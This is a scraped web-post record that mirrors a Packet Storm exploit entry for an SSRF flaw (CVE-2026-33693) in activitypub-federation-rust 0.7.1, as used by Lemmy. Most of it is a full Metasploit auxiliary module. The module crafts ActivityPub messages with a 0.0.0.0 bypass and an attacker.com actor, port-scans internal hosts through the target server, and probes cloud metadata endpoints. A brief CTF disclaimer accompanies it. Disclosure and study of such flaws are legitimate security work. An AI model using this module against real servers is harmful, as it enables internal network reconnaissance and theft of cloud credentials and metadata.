{“lastseen”:”2026-04-17T17:27:38″,”description”:”This is a server-side request forgery scanner for Activitypub-federation-rust version 0.7.1…”,”published”:”2026-04-17T00:00:00″,”modified”:”2026-04-17T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Activitypub-federation-rust 0.7.1 Server-Side Request Forgery”,”source”:””,”references”:””,”id”:”PACKETSTORM:219062″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-33693″],”sourceData”:”==================================================================================================================================\\n | # Title : Activitypub-federation-rust 0.7.1 Lemmy ActivityPub SSRF Scanner |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/github.com\/LemmyNet\/activitypub-federation-rust\/releases |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit auxiliary module targets a Server-Side Request Forgery (SSRF) vulnerability in Lemmy \/ ActivityPub implementations using the activitypub-federation-rust 0.7.1 library. \\n The issue allows crafted ActivityPub messages to trigger server-side requests to internal or restricted network resources.\\n \\n \\n [+] POC : \\n \\n require ‘json’\\n require ‘time’\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Auxiliary::Scanner\\n include Msf::Auxiliary::Report\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Lemmy ActivityPub SSRF (CVE-2026-33693)’,\\n ‘Description’ =\\u003e %q{\\n Exploits SSRF via ActivityPub using 0.0.0.0 bypass.\\n \\n Designed for CTF and controlled environments.\\n },\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-33693’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2026-03-23’,\\n ‘License’ =\\u003e MSF_LICENSE\\n )\\n )\\n \\n register_options([\\n OptString.new(‘TARGET_URI’, [true, ‘Base path’, ‘\/’]),\\n OptString.new(‘INTERNAL_HOST’, [true, ‘Internal host’, ‘0.0.0.0’]),\\n OptString.new(‘INTERNAL_PORT’, [false, ‘Internal port’]),\\n OptString.new(‘INTERNAL_PATH’, [false, ‘Internal path’]),\\n OptEnum.new(‘ATTACK_TYPE’, [true, ‘Attack type’,\\n ‘SINGLE’, [‘SINGLE’,’PORT_SCAN’,’METADATA’]]),\\n OptString.new(‘PORTS’, [false, ‘Ports list’, ‘80,443,8080’]),\\n OptInt.new(‘SCAN_DELAY’, [false, ‘Delay’, 1]),\\n OptBool.new(‘VERBOSE’, [false, ‘Verbose’, false])\\n ])\\n end\\n \\n def run\\n print_status(\\”Starting SSRF module\\”)\\n \\n case datastore[‘ATTACK_TYPE’]\\n when ‘SINGLE’\\n single_ssrf_attack\\n when ‘PORT_SCAN’\\n port_scan_attack\\n when ‘METADATA’\\n metadata_attack\\n end\\n end\\n \\n def target_url\\n proto = datastore[‘SSL’] ? ‘https’ : ‘http’\\n host = datastore[‘RHOSTS’]\\n \\”#{proto}:\/\/#{host}:#{datastore[‘RPORT’]}\\”\\n end\\n \\n def create_payload(url)\\n {\\n ‘@context’ =\\u003e ‘https:\/\/www.w3.org\/ns\/activitystreams’,\\n ‘type’ =\\u003e ‘Create’,\\n ‘id’ =\\u003e \\”#{target_url}\/test-#{rand(9999)}\\”,\\n ‘actor’ =\\u003e ‘https:\/\/attacker.com\/actor’,\\n ‘to’ =\\u003e [‘https:\/\/www.w3.org\/ns\/activitystreams#Public’],\\n ‘object’ =\\u003e {\\n ‘type’ =\\u003e ‘Note’,\\n ‘attachment’ =\\u003e [\\n {\\n ‘type’ =\\u003e ‘Link’,\\n ‘href’ =\\u003e \\”http:\/\/#{url}\\”\\n }\\n ]\\n }\\n }\\n end\\n \\n def send_ssrf(url)\\n begin\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(datastore[‘TARGET_URI’], ‘inbox’),\\n ‘ctype’ =\\u003e ‘application\/activity+json’,\\n ‘data’ =\\u003e create_payload(url).to_json\\n )\\n \\n return res\\n rescue =\\u003e e\\n vprint_error(\\”Error: #{e}\\”)\\n return nil\\n end\\n end\\n \\n def single_ssrf_attack\\n host = datastore[‘INTERNAL_HOST’]\\n port = datastore[‘INTERNAL_PORT’]\\n path = datastore[‘INTERNAL_PATH’]\\n \\n url = host\\n url += \\”:#{port}\\” if port\\n url += \\”\/#{path}\\” if path\\n \\n print_status(\\”Targeting #{url}\\”)\\n \\n res = send_ssrf(url)\\n \\n if res\\n print_good(\\”Response: #{res.code}\\”)\\n print_line(res.body[0..200]) if res.body\\n else\\n print_error(\\”No response\\”)\\n end\\n end\\n \\n def port_scan_attack\\n ports = datastore[‘PORTS’].split(‘,’).map(\\u0026:to_i)\\n host = datastore[‘INTERNAL_HOST’]\\n \\n open_ports = []\\n \\n ports.each do |p|\\n url = \\”#{host}:#{p}\\”\\n start = Time.now\\n \\n res = send_ssrf(url)\\n elapsed = Time.now – start\\n \\n if res \\u0026\\u0026 res.code != 404 \\u0026\\u0026 elapsed \\u003e 0.2\\n print_good(\\”Port #{p} OPEN (#{res.code})\\”)\\n open_ports \\u003c\\u003c p\\n else\\n vprint_status(\\”Port #{p} closed\\”)\\n end\\n \\n sleep datastore[‘SCAN_DELAY’]\\n end\\n \\n print_good(\\”Open ports: #{open_ports.join(‘, ‘)}\\”) unless open_ports.empty?\\n end\\n \\n def metadata_attack\\n targets = [\\n \\”0.0.0.0\/latest\/meta-data\/\\”,\\n \\”0.0.0.0\/computeMetadata\/v1\/\\”,\\n \\”0.0.0.0\/169.254.169.254\/latest\/\\”\\n ]\\n \\n targets.each do |t|\\n print_status(\\”Trying #{t}\\”)\\n \\n res = send_ssrf(t)\\n \\n if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body\\n print_good(\\”Metadata FOUND\\”)\\n print_line(res.body[0..200])\\n else\\n vprint_status(\\”No data\\”)\\n end\\n \\n sleep 1\\n end\\n end\\n \\n def vprint_status(msg)\\n print_status(msg) if datastore[‘VERBOSE’]\\n end\\n \\n def vprint_error(msg)\\n print_error(msg) if datastore[‘VERBOSE’]\\n end\\n end\\n \\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219062″,”cvss”:{“score”:6.5,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219062\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-17T17:27:38″,”description”:”This is a server-side request forgery scanner for Activitypub-federation-rust version 0.7.1…”,”published”:”2026-04-17T00:00:00″,”modified”:”2026-04-17T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Activitypub-federation-rust 0.7.1 Server-Side Request Forgery”,”source”:””,”references”:””,”id”:”PACKETSTORM:219062″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-33693″],”sourceData”:”==================================================================================================================================\\n | # Title : Activitypub-federation-rust 0.7.1 Lemmy ActivityPub SSRF…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,21,13,53,7,11,5],"class_list":["post-47683","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n